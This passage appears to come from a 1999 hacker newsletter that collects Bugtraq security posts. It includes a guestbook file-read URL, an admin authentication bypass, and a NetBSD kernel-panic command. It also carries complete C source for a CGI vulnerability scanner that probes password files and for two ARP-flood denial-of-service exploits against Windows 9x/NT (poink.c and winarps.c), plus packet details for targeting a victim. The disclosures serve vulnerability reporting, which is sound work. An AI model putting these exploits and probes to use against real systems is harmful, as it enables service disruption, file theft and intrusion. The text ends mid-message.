Mnemonix Subject: Webcom's CGI Guestbook for Win32 web servers X-To: ntbugtraq@listserv.ntbugtraq.com X-cc: ntsecurity@iss.net To: BUGTRAQ@netspace.org I reported a while back on Webcom's (www.webcom.se) CGI Guestbook (wguest.exe and rguest.exe) having a number of security problems where any text based file on an NT machine could be read from the file system provided the attacker knew the path to the file and the Anonymous Internet Account (IUSR_MACHINENAME on IIS) has the NTFS read right to the file in question. On machines such as Windows 95/98 without local file security every file is readable. wguest.exe is used to write to the Guestbook and rguest.exe is used to read from the Guestbook Their latest version has made this simpler: A request for http://server/cgi-bin/wguest.exe?template=c:\boot.ini will return the remote Web server's boot.ini and http://server/cgi-bin/rguest.exe?template=c:\winnt\system32\$winnt$.inf will return the $winnt$.inf file. Why the developers at Webcom have not resolved this issue in their latest version is bordering the criminal. I received no response to my mail to them about this. Anybody using this Guestbook should remove it as soon as possible and obtain another CGI Guestbook if you really need one. Cheers, David Litchfield http://www.arca.com http://www.infowar.co.uk/mnemonix/ @HWA 24.0 Achtung! No piracy here! ~~~~~~~~~~~~~~~~~~~~~~~~ http://www.wired.com/news/news/email/explode-infobeat/culture/story/19122.html Link Achtung! No Piracy Here Reuters 12:20 p.m. 14.Apr.99.PDT Germany's music industry said Wednesday that it has new technology to block recording piracy on the Internet and stem the flow of money lost as a result of it. Thomas Stein, president of the German Phonographic Industry Association, said the technology includes search engines that can troll the Web, ferreting out illegal music distributors. Stein said his industry had lost DM20 million (US$11 million) in 1998 as a result of Internet piracy, twice as much as in 1997. The industry lost DM100 million, down 10 percent from 1997, due to the illegal copying of compact discs, cassettes, and videos, he added. However, companies believe that piracy over the Internet is on the verge of exploding, while losses due to home copying of compact discs were also on the rise, Stein said. He said that the latter development was particularly dangerous because it allowed consumers to make copies of a nearly identical quality to the original -- a trend he called "schoolyard piracy" owing to the youthfulness of many perpetrators. But he added that the industry's priority remained fighting commercial exploitation of pirated music. Copyright© 1999 Reuters Limited. @HWA 25.0 Bug in Winroute 3.04g ~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Received: from main.ismi.net (root@main.ismi.net [206.31.56.7]) by netspace.org (8.8.7/8.8.7) with ESMTP id AAA14480 for ; Fri, 9 Apr 1999 00:36:48 -0400 Received: from dodds.net (tc5-44.ismi.net [207.51.197.49]) by main.ismi.net (8.8.5/8.8.5) with ESMTP id AAA13832 for ; Fri, 9 Apr 1999 00:37:12 -0400 (EDT) X-Mailer: Mozilla 4.51 (Macintosh; I; PPC) X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353" Content-Transfer-Encoding: 7bit Message-ID: <370D83EE.4B2E088C@dodds.net> Date: Fri, 9 Apr 1999 00:37:05 -0400 Reply-To: "Michael R. Rudel" Sender: Bugtraq List From: "Michael R. Rudel" Subject: Bug in Winroute 3.04g To: BUGTRAQ@netspace.org There is a bug in the remote proxy server admin part of Winroute 3.04g. I have tested it on an earlier release (3.04a), and that is also vulnerable. When you first access the admin proxy server, it asks for a username and password to authenticate to. If you hit 'cancel', one frame will come back as not containing any data, but the other frame will still give you all the buttons that you need to configure the software - giving you full access. This is a semisortakindaserious bug, as anyone using Winroute can be disconnected from the Internet by anyone else in the world, as they can authenticate to the admin proxy server without a user name and password. - Michael R. Rudel (mrr@mrr.cx) - Computer Tech - Pinckney Community Schools Approved-By: aleph1@UNDERGROUND.ORG Received: from r00tshell.com (root@whitehats.com [199.181.107.23]) by netspace.org (8.8.7/8.8.7) with ESMTP id SAA18357 for ; Fri, 9 Apr 1999 18:19:15 -0400 Received: from whitehats.com (IDENT:vision@whitehats.com [199.181.107.23]) by r00tshell.com (9.0/8.9.1) with SMTP id QAA15892; Fri, 9 Apr 1999 16:12:05 -0700 (PDT) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: Date: Fri, 9 Apr 1999 16:12:05 -0700 Reply-To: Max Vision Sender: Bugtraq List From: Max Vision Subject: Re: Bug in Winroute 3.04g X-To: "Michael R. Rudel" To: BUGTRAQ@netspace.org In-Reply-To: <370D83EE.4B2E088C@dodds.net> On Fri, 9 Apr 1999, Michael R. Rudel wrote: > There is a bug in the remote proxy server admin part of Winroute 3.04g. > I have tested it on an earlier release (3.04a), and that is also > vulnerable. > Confirmed on Winroute Pro 3.04 http://localhost:3129/admin/config/ takes yous straight to the configuration options without authentication. If one is going to use Winroute, I highly recommend turning on the packet filter found at Settings -> Advanced -> Packetfilter An unrelated bug is that the packetfilter refuses to pass on tcp 139 regardless of implicite configuration otherwise. Max @HWA 26.0 Patrol security bugs ~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Received: from carabosse.oleane.net (carabosse.oleane.net [194.2.28.5]) by netspace.org (8.8.7/8.8.7) with ESMTP id GAA20879 for ; Fri, 9 Apr 1999 06:45:33 -0400 Received: from tom.oleane.net (smtp.dial.oleane.com [194.2.0.54]) by carabosse.oleane.net with ESMTP id MAA32515 for ; Fri, 9 Apr 1999 12:46:00 +0200 Received: from fco (dyntnt-1-046.Def.dialup.oleane.fr [195.25.5.46]) by tom.oleane.net (8.8.8/8.8.8) with ESMTP id MAA00846 for ; Fri, 9 Apr 1999 12:45:54 +0200 X-Mailer: Mozilla 4.0 [en] (Win95; I) MIME-Version: 1.0 X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <370DDA89.31976841@cf6.fr> Date: Fri, 9 Apr 1999 12:46:33 +0200 Reply-To: fcosta Sender: Bugtraq List From: fcosta Subject: Patrol security bugs To: BUGTRAQ@netspace.org > > ____/ ____/ _____/ > > / / / Security Department > > / ___/ / Tel : +33 (0)1 41 91 39 00 > > / / /__/ / Fax : +33 (0)1 41 91 39 99 > > _____/ __/ ______/ > > > ____________________________________________________ > > Patrol Security bugs report > > ____________________________________________________ > > PROBLEM: > > The PATROL management software from BMC SOFTWARE has 3 severe bugs : > > 1) Session password encryption weakness : > > The Patrol session password is protected in a way which does not prevent > > from replay attacks. It is possible for an attacker to capture (wire > tapping, network sniffing...) an encrypted password and to provide it to > the > BMC API to connect to the agent. The attacker can then get a shell with > the > agent without the administrator to know it. > > 2) Patrol frames sealing : > > The algorithm used in Patrol for sealing the frames exchanged is fairly > weak > (enhanced checksum). It is thus quite easy for an attacker to build a > spoofing system which sends faked frames to an agent. > > 3) Service deny on UDP port : > > The UDP ports accept connexion requests and are thus exposed to > ping-pong > from another UDP port (e.g. chargen). > > ____________________________________________________ > > > PLATFORM: > > Patrol agent until release 3.25 on all operating systems > > ____________________________________________________ > > DAMAGE: > > You can get administrator account throught Patrol agent whithout > accreditation or crash system by DOS attack. > > ____________________________________________________ > > SOLUTION: > > We are actually working with BMC SOFTWARE to correct all those bugs. > ____________________________________________________ > > For more informations, contact Frederic COSTA : e-mail: fcosta@cf6.fr > > > @HWA 27.0 [BUGTRAQ] kernel panic or hang in name lookup (NetBSD) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG organisation: The NetBSD Foundation, Inc. Message-ID: <26497.923972993@eterna.com.au> Date: Tue, 13 Apr 1999 13:09:53 +1000 Reply-To: matthew green Sender: Bugtraq List From: matthew green Subject: NetBSD Security Advisory 1999-008 X-To: netbsd-announce@netbsd.org X-cc: tech-security@netbsd.org, current-users@netbsd.org, cert@cert.org, auscert@auscert.org.au To: BUGTRAQ@netspace.org -----BEGIN PGP SIGNED MESSAGE----- NetBSD Security Advisory 1999-008 ================================= Topic: Kernel hang or panic in name lookup under certain circumstances Version: NetBSD 1.3.X, NetBSD-current to 19990409, and early versions of NetBSD-1.4_ALPHA Severity: In later versions of -current and in 1.4_ALPHA, unprivileged users can panic the system. Abstract ======== Unprivileged users can trigger a file-system locking error, causing the system to panic or hang. The following command sequence will trigger the vulnerability: % ln -s ./ test % ln -s ./ test Technical Details ================= Certain kernel operations, such as creating a symbolic link, request that the namei() path name resolution routine not unlock the node of the directory containing the found file, instead returning it to the caller locked. When the found file is a symbolic link, this parent must be unlocked before the symbolic link is looked up. This problem results from the test to unlock the parent differing from the test to lock the parent. The difference only manifests itself in the case of a path name which ends with a symbolic link ending with one or more "/" characters. NetBSD 1.3.3 and prior hang when this bug is exercised. NetBSD-current was enhanced to notice locking problems and thus panics instead of hanging. Solutions and Workarounds ========================= There are no workarounds for this problem. A patched kernel must be installed to fix this problem. A patch is available for NetBSD 1.3.3 which fixes this problem. You may find this patch on the NetBSD ftp server: ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/19990412-vfs_lookup NetBSD-current since 19990409 is not vulnerable. Users of NetBSD-current should upgrade to a source tree later than 19990409. Thanks To ========= The NetBSD Project would like to thank Antti Kantee and Matthew Orgass for providing information about this problem, and William Studenmund for providing a solution. Revision History ================ 1999/04/12 - initial version More Information ================ Information about NetBSD and NetBSD security can be found at http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/. Copyright 1999, The NetBSD Foundation, Inc. All Rights Reserved. $NetBSD: NetBSD-SA1999-008.txt,v 1.3 1999/04/12 18:58:18 mrg Exp $ -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBNxJEUz5Ru2/4N2IFAQGjOwP/TQe7ydvPf2nMAVMoKGC9phVRylXEBF4Y uRarfRXHtnQXAX5HRk9CDhjrEOSk+qAqLoRS81XCsRA4wRKDRUsPpmWd8NiW5v3W WHrE3Iww4hn2SHGmuqtDVlb5uNRwZsq8xflL6O07xrxbTgmhYd9nSOvOKALlJw7M PMXTR62g7SI= =FAOF -----END PGP SIGNATURE----- @HWA 28.0 cgichk1.3 scans for 41 vulnerabilities by su1d sh3ll //UnlG 1999 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /* ---------------------------------------------------------------------- */ /* CGI scanner v1.3, m0dify and recode by su1d sh3ll //UnlG 1999 */ /* Tested on Slackware linux with kernel 2.0.35 and FreeBSD 2.2.2-3.1 */ /* Source c0de by [CKS & Fdisk] */ /* Gr33tz to: r00tshell, Packet St0rm, ADM crew, ech0 security,el8.org */ /* el8.org users, duke, HET2 ,#c0de */ /* Fuck to: www.hackzone.ru , HDT...... CHC fuck u 2 llamas */ /* c0m1ng s00n: xplo1t for IIS4.0 ;-) */ /* -----------------------------------------------[13:17 07.04.99 UnlG]- */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include void main(int argc, char *argv[]) { int sock,debugm=0; struct in_addr addr; struct sockaddr_in sin; struct hostent *he; unsigned long start; unsigned long end; unsigned long counter; char foundmsg[] = "200"; char *cgistr; char buffer[1024]; int count=0; int numin; char cgibuff[1024]; char *buff[50]; /* Don't u think 50 is enought? */ char *cginame[50]; /* Don't u think 50 is enought? */ buff[1] = "GET /cgi-bin/unlg1.1 HTTP/1.0\n\n"; buff[2] = "GET /cgi-bin/phf HTTP/1.0\n\n"; buff[3] = "GET /cgi-bin/Count.cgi HTTP/1.0\n\n"; buff[4] = "GET /cgi-bin/test-cgi HTTP/1.0\n\n"; buff[5] = "GET /cgi-bin/nph-test-cgi HTTP/1.0\n\n"; buff[6] = "GET /cgi-bin/php.cgi HTTP/1.0\n\n"; buff[7] = "GET /cgi-bin/handler HTTP/1.0\n\n"; buff[8] = "GET /cgi-bin/webgais HTTP/1.0\n\n"; buff[9] = "GET /cgi-bin/websendmail HTTP/1.0\n\n"; buff[10] = "GET /cgi-bin/webdist.cgi HTTP/1.0\n\n"; buff[11] = "GET /cgi-bin/faxsurvey HTTP/1.0\n\n"; buff[12] = "GET /cgi-bin/htmlscript HTTP/1.0\n\n"; buff[13] = "GET /cgi-bin/pfdispaly.cgi HTTP/1.0\n\n"; buff[14] = "GET /cgi-bin/perl.exe HTTP/1.0\n\n"; buff[15] = "GET /cgi-bin/wwwboard.pl HTTP/1.0\n\n"; buff[16] = "GET /cgi-bin/www-sql HTTP/1.0\n\n"; buff[17] = "GET /cgi-bin/view-source HTTP/1.0\n\n"; buff[18] = "GET /cgi-bin/campas HTTP/1.0\n\n"; buff[19] = "GET /cgi-bin/aglimpse HTTP/1.0\n\n"; buff[20] = "GET /cgi-bin/man.sh HTTP/1.0\n\n"; buff[21] = "GET /cgi-bin/AT-admin.cgi HTTP/1.0\n\n"; buff[22] = "GET /cgi-bin/filemail.pl HTTP/1.0\n\n"; buff[23] = "GET /cgi-bin/maillist.pl HTTP/1.0\n\n"; buff[24] = "GET /cgi-bin/jj HTTP/1.0\n\n"; buff[25] = "GET /cgi-bin/info2www HTTP/1.0\n\n"; buff[26] = "GET /cgi-bin/files.pl HTTP/1.0\n\n"; buff[27] = "GET /cgi-bin/finger HTTP/1.0\n\n"; buff[28] = "GET /cgi-bin/bnbform.cgi HTTP/1.0\n\n"; buff[29] = "GET /cgi-bin/survey.cgi HTTP/1.0\n\n"; buff[30] = "GET /cgi-bin/AnyForm2 HTTP/1.0\n\n"; buff[31] = "GET /cgi-bin/textcounter.pl HTTP/1.0\n\n"; buff[32] = "GET /cgi-bin/classifieds.cgi HTTP/1.0\n\n"; buff[33] = "GET /cgi-bin/environ.cgi HTTP/1.0\n\n"; buff[34] = "GET /_vti_pvt/service.pwd HTTP/1.0\n\n"; buff[35] = "GET /_vti_pvt/users.pwd HTTP/1.0\n\n"; buff[36] = "GET /_vti_pvt/authors.pwd HTTP/1.0\n\n"; buff[37] = "GET /_vti_pvt/administrators.pwd HTTP/1.0\n\n"; buff[38] = "GET /cgi-dos/args.bat HTTP/1.0\n\n"; buff[39] = "GET /cgi-win/uploader.exe HTTP/1.0\n\n"; buff[40] = "GET /search97.vts HTTP/1.0\n\n"; buff[41] = "GET /carbo.dll HTTP/1.0\n\n"; cginame[1] = "UnlG - backd00r"; cginame[2] = "phf "; cginame[3] = "Count.cgi "; cginame[4] = "test-cgi "; cginame[5] = "nph-test-cgi "; cginame[6] = "php.cgi "; cginame[7] = "handler "; cginame[8] = "webgais "; cginame[9] = "websendmail "; cginame[10] = "webdist.cgi "; cginame[11] = "faxsurvey "; cginame[12] = "htmlscript "; cginame[13] = "pfdisplay "; cginame[14] = "perl.exe "; cginame[15] = "wwwboard.pl "; cginame[16] = "www-sql "; cginame[17] = "view-source "; cginame[18] = "campas "; cginame[19] = "aglimpse "; cginame[20] = "man.sh "; cginame[21] = "AT-admin.cgi "; cginame[22] = "filemail.pl "; cginame[23] = "maillist.pl "; cginame[24] = "jj "; cginame[25] = "info2www "; cginame[26] = "files.pl "; cginame[27] = "finger "; cginame[28] = "bnbform.cgi "; cginame[29] = "survey.cgi "; cginame[30] = "AnyForm2 "; cginame[31] = "textcounter.pl "; cginame[32] = "classifields.cgi"; cginame[33] = "environ.cgi "; cginame[34] = "service.pwd "; cginame[35] = "users.pwd "; cginame[36] = "authors.pwd "; cginame[37] = "administrators.pwd"; cginame[38] = "args.bat "; cginame[39] = "uploader.exe "; cginame[40] = "search97.vts "; cginame[41] = "carbo.dll "; if (argc<2) { printf("\n [-- CGI Checker 1.3. Modified by su1d sh3ll //UnlG --]"); printf("\nusage : %s host ",argv[0]); printf("\n Or : %s host -d for debug mode\n\n",argv[0]); exit(0); } if (argc>2) { if(strstr("-d",argv[2])) { debugm=1; } } if ((he=gethostbyname(argv[1])) == NULL) { herror("gethostbyname"); exit(0); } printf("\n\n\t [CKS & Fdisk]'s CGI Checker - modify by su1d sh3ll 07.043.99\n\n\n"); start=inet_addr(argv[1]); counter=ntohl(start); sock=socket(AF_INET, SOCK_STREAM, 0); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family=AF_INET; sin.sin_port=htons(80); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0) { perror("connect"); } printf("\n\n\t [ Press any key to check out the httpd version...... ]\n"); getchar(); send(sock, "HEAD / HTTP/1.0\n\n",17,0); recv(sock, buffer, sizeof(buffer),0); printf("%s",buffer); close(sock); printf("\n\t [ Press any key to search 4 CGI stuff...... ]\n"); getchar(); while(count++ < 41) /* huh! 41 cgi..... no secur1ty in th1s w0rld ;-)*/ { sock=socket(AF_INET, SOCK_STREAM, 0); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family=AF_INET; sin.sin_port=htons(80); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0) { perror("connect"); } printf("Searching for %s : ",cginame[count]); for(numin=0;numin < 1024;numin++) { cgibuff[numin] = '\0'; } send(sock, buff[count],strlen(buff[count]),0); recv(sock, cgibuff, sizeof(cgibuff),0); cgistr = strstr(cgibuff,foundmsg); if( cgistr != NULL) printf("Found !! ;)\n"); else printf("Not Found\n"); if(debugm==1) { printf("\n\n ------------------------\n %s \n ------------------------\n",cgibuff); printf("Press any key to continue....\n"); getchar(); } close(sock); } printf("...have a nice hack... ;-)\n"); } @HWA 29.0 poink.c new win9x/nt arp table exploit DoS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 13 Apr 1999 11:25:34 -0700 From: route@RESENTMENT.INFONEXUS.COM To: BUGTRAQ@netspace.org Subject: Re: ARP problem in Windows9X/NT [kay wrote] | | Could you be more specific with those XX-fields ? The source ethernet address appears to be arbitrary. The destination ethernet address needs to be either the address of the target host, or a broadcast address. | I started writing that proggie with plain syscalls, but it would only run | on Linux, so I modified one of the examples in Route's Libnet 0.9 to do | the stuff. I haven't tested it yes since I don't have LAN at home... Didn't test your code. Rolled my from the same libnet example, and it does work against NT and 95/98. | For those who are still wondering what the hell Libnet is: check out | http://www.infonexus.com/~demon9 My site has moved temporarily to http://lazy.accessus.net/~route. Libnet is hosted there for the time being (http://lazy.accessus.net/~route/Libnet) but will move to http://www.packetfactory.net when I get that site up. For those of you who don't know, Libnet is a library for portable injection. It is the `libpwrite` analog to libpcap. I suppose this is as good a time as any to announce the release of version 0.99 which adds a lot of new functionality and fixes a few bugs. Oh yah. Here's poink. Poink-poink! /* * $Id$ * * poink.c - NT/9x DOS attack * * Code: * Copyright (c) 1999 Mike D. Schiffman * route|daemon9 * All rights reserved. * * Original Idea: * Joel Jacobson (joel@mobila.cx) * * This simple exploit was written as per the specification from Joel * Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html). * * Needs libnet 0.99. * Currently: http://lazy.accessus.net/~route/libnet * Soon: http://www.packetfactory.net/ * * gcc poink.c -o poink -lnet * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; int send_arp(struct link_int *, u_long, u_char *); void usage(u_char *); int main(int argc, char *argv[]) { int c, amount; char errbuf[256]; char *device = NULL; struct link_int *l; u_long ip; amount = 20; while ((c = getopt(argc, argv, "n:i:")) != EOF) { switch (c) { case 'i': device = optarg; break; case 'n': amount = atoi(optarg); break; default: exit(EXIT_FAILURE); } } if (!device) { usage(argv[0]); exit(EXIT_FAILURE); } if (argc <= optind) { usage(argv[0]); exit(EXIT_FAILURE); } else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1) { fprintf(stderr, "Cannot resolve IP address\n"); exit(EXIT_FAILURE); } l = libnet_open_link_interface(device, errbuf); if (!l) { fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf); exit(EXIT_FAILURE); } while (amount--) { c = send_arp(l, ip, device); if (c == -1) { /* bail on the first error */ break; } } printf("\n"); return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); } int send_arp(struct link_int *l, u_long ip, u_char *device) { int n; u_char *buf; if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1) { perror("libnet_init_packet memory:"); exit(EXIT_FAILURE); } /* * Ethernet header */ libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf); /* * ARP header */ libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src, (u_char *)&ip, enet_dst, (u_char *)&ip, NULL, 0, buf + ETH_H); n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); fprintf(stderr, "."); libnet_destroy_packet(&buf); return (n); } void usage(u_char *name) { fprintf(stderr, "%s -i interface [-n amount] ip\n", name); } -- I live a world of paradox... My willingness to destroy is your chance for improvement, my hate is your faith -- my failure is your victory, a victory that won't last. @HWA 29.1 winarps.c ~~~~~~~~~ Date: Tue, 13 Apr 1999 11:23:29 +0300 From: kay To: BUGTRAQ@netspace.org Subject: Re: ARP problem in Windows9X/NT Parts/Attachments: 1 Shown 71 lines Text 2 OK ~3.3 KB Text, "" ---------------------------------------- Hya, Could you be more specific with those XX-fields ? I started writing that proggie with plain syscalls, but it would only run on Linux, so I modified one of the examples in Route's Libnet 0.9 to do the stuff. I haven't tested it yes since I don't have LAN at home... Compile with: cc winarp.c -o winarp -lnet Usage: ./winarp [-i device] [-c count] -d destination For those who are still wondering what the hell Libnet is: check out http://www.infonexus.com/~demon9 -- kay@phreedom.org AD80 0D6A 5286 2729 5D2F 6326 D3F8 C61A 93F4 4C48 xuniL DA FA 10 7D 6A 05 45 11 37 E1 E1 2B B4 34 2E 83 Zelur On Mon, 12 Apr 1999, Joel Jacobson wrote: > Hello all bugtraqers! > > I've found a problem in Windows9X/NT's way of handeling ARP packets. > > If you flood a computer at your LAN with the packet below, it's user > will be forced to click a messagebox's OK button x times, where x is the number > of packets you flooded with. > > I advice Microsoft to develope a patch for this problem, that let you > choose to ignore all future messages of this type. > > There is no way to trace the flooder since the MAC address in the > packet can be modified to anything. Bad configurated routers will > not drop this packet. When I tested this problem on my LAN I could > flood a computer on another C-net at my LAN without problems. > > The program NetXRay was used to preform the flood. > The victims had to reboot their computer, or choose to click _very_ > many OK buttons. > > The ARP packet is build up like this: > > Ethernet Version II: > Address: XX-XX-XX-XX-XX-XX --->FF-FF-FF-FF-FF-FF > Ehternet II Protocol Type: ARP > Address Resolution Protocol: > Hardware Type: 1 (Ethernet) > Protocol Type: 800 > Hardware Address: Length: 6 > Protocol Address: Length: 4 > Operations: ARP Request > Source Hardware Address: XX-XX-XX-XX-XX-XX > IP Source Address: > Destination Hardware Address: XX-XX-XX-XX-XX-XX > IP Destination Address: > > And in HEX the packet look like this: > ff ff ff ff ff ff 00 00 00 00 00 00 08 06 08 00 06 04 00 01 00 00 00 > 00 00 00 XX XX XX XX 00 00 00 00 00 00 XX XX XX XX > (XX is what matters here) > > Hope a patch for this problem will be developed fast, cause this is a > big problem for my school and probably also to others. > > I'm not a C programmer, and don't know how to write an exploit for > this problem. So, if anyone else can develope an exploit, feel free to do so. > > Joel Jacobson. [ Part 2, "" Text/PLAIN (Name: "winarp.c") 71 lines. ] /* * Copyright (c) 1998, 1999 route|daemon9 * All rights reserved. * * Modified to winarps.c 1999 by kay * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; u_long ip_dst = 0; void send_arp(struct link_int *, u_char *); #if (__linux__) #define IPOPT_SECURITY 130 #endif int main(int argc, char *argv[]) { int c, count = 1; char errbuf[256]; char *device = NULL; char *address = NULL; struct link_int *l; while ((c = getopt(argc, argv, "i:d:c:")) != EOF) { switch (c) { case 'i': device = optarg; break; case 'd': address = optarg; ip_dst = name_resolve(address, 0); break; case 'c': count = atoi(optarg); break; default: exit(EXIT_FAILURE); } } if (!device) { fprintf(stderr, "Specify a device\n"); exit(EXIT_FAILURE); } if (!ip_dst) { fprintf(stderr, "Specify destination\n"); exit(EXIT_FAILURE); } if ((l = open_link_interface(device, errbuf)) == NULL) { fprintf(stderr, "open_link_interface: %s\n", errbuf); exit(EXIT_FAILURE); } send_arp(l, device); exit(EXIT_SUCCESS); } void send_arp(struct link_int *l, u_char * device) { int n; u_char *buf; buf = (u_char *) malloc(ARP_H + ETH_H); if (!buf) { perror("no packet memory"); exit(EXIT_FAILURE); } memset(buf, 0, ARP_H + ETH_H); build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf); build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src, (void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H); n = write_link_layer(l, device, buf, ARP_H + ETH_H); printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype); } ----------------------------------------------------------------------------------- Date: Tue, 13 Apr 1999 12:13:17 +0300 From: kay To: BUGTRAQ@netspace.org Subject: Re: ARP problem in Windows9X/NT Forgot something: In winarp.c 77 exit(EXIT_FAILURE); 78 } +++ 79 for ( ; count <= 0; count--) 80 send_arp(l, device); 81 exit(EXIT_SUCCESS); -- kay@phreedom.org AD80 0D6A 5286 2729 5D2F 6326 D3F8 C61A 93F4 4C48 xuniL DA FA 10 7D 6A 05 45 11 37 E1 E1 2B B4 34 2E 83 Zelur @HWA 29.2 The new win arp bug - original message ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Mon, 12 Apr 1999 13:59:54 +0200 From: Joel Jacobson To: BUGTRAQ@netspace.org Subject: ARP problem in Windows9X/NT Hello all bugtraqers! I've found a problem in Windows9X/NT's way of handeling ARP packets. If you flood a computer at your LAN with the packet below, it's user will be forced to click a messagebox's OK button x times, where x is the number of packets you flooded with. I advice Microsoft to develope a patch for this problem, that let you choose to ignore all future messages of this type. There is no way to trace the flooder since the MAC address in the packet can be modified to anything. Bad configurated routers will not drop this packet. When I tested this problem on my LAN I could flood a computer on another C-net at my LAN without problems. The program NetXRay was used to preform the flood. The victims had to reboot their computer, or choose to click _very_ many OK buttons. The ARP packet is build up like this: Ethernet Version II: Address: XX-XX-XX-XX-XX-XX --->FF-FF-FF-FF-FF-FF Ehternet II Protocol Type: ARP Address Resolution Protocol: Hardware Type: 1 (Ethernet) Protocol Type: 800 Hardware Address: Length: 6 Protocol Address: Length: 4 Operations: ARP Request Source Hardware Address: XX-XX-XX-XX-XX-XX IP Source Address: Destination Hardware Address: XX-XX-XX-XX-XX-XX IP Destination Address: And in HEX the packet look like this: ff ff ff ff ff ff 00 00 00 00 00 00 08 06 08 00 06 04 00 01 00 00 00 00 00 00 XX XX XX XX 00 00 00 00 00 00 XX XX XX XX (XX is what matters here) Hope a patch for this problem will be developed fast, cause this is a big problem for my school and probably also to others. I'm not a C programmer, and don't know how to write an exploit for this problem. So, if anyone else can develope an exploit, feel free to do so. Joel Jacobson. ---------------------------------------------------------------------------------- Date: Tue, 13 Apr 1999 11:44:12 +0200 From: Joel Jacobson To: BUGTRAQ@netspace.org Subject: Answer to some questions I got about the ARP "bug" Hi. In the message I sent to BugTraq, XX XX XX XX is the victim's IP Address, in HEX. Example: If you want to flood IP 192.168.0.1 at your network you would enter this hex value: C0 A8 00 01 (I tought this was obvious) Regards, Joel. ---------------------------------------------------------------------------------- Date: Tue, 13 Apr 1999 11:55:01 +0200 From: Joel 